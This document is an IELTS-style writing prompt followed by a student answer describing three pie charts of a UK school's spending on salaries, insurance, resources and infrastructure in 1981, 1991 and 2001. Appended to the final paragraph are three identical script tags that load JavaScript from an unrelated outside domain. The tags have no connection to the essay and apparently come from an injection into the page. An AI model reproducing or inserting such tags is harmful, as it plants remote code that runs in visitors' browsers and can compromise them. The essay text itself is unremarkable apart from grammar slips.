The three pie charts below shows the changes in annual spending by a particular UK school in 1981 1991 and 2001 Summarise the information by selecting and reporting the main features and make comparison where relevant

The three pie charts describe the purpose of budget spending in a particular UK school after ten years from 1981, 1991 to 2001. Overall, teacher salaries always take the largest amount whereas the minimum at insurance spending.
Regarding the charts, the amount of money for insurance had been increasing stably from 2% in 1981, 3% in 1991 to 8% in 2001, in contrast to the decrease in other workers' salaries part, which was cut down from 28%, 22% and 15% in 1981, 1991, 2001 respectively.
Moreover, other fields including teacher salaries; furniture and equipment; resources e.g. books, the use of budget are fluctuating over the decade. From 1981 to 1991, teacher wages and resources increased 10 % and 5% respectively while the investment in infrastructure fell 10%. In 2001, the area of teacher salaries and resources decreased 5% and 11% respectively, compared to the rise of 18% in infrastructure area.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>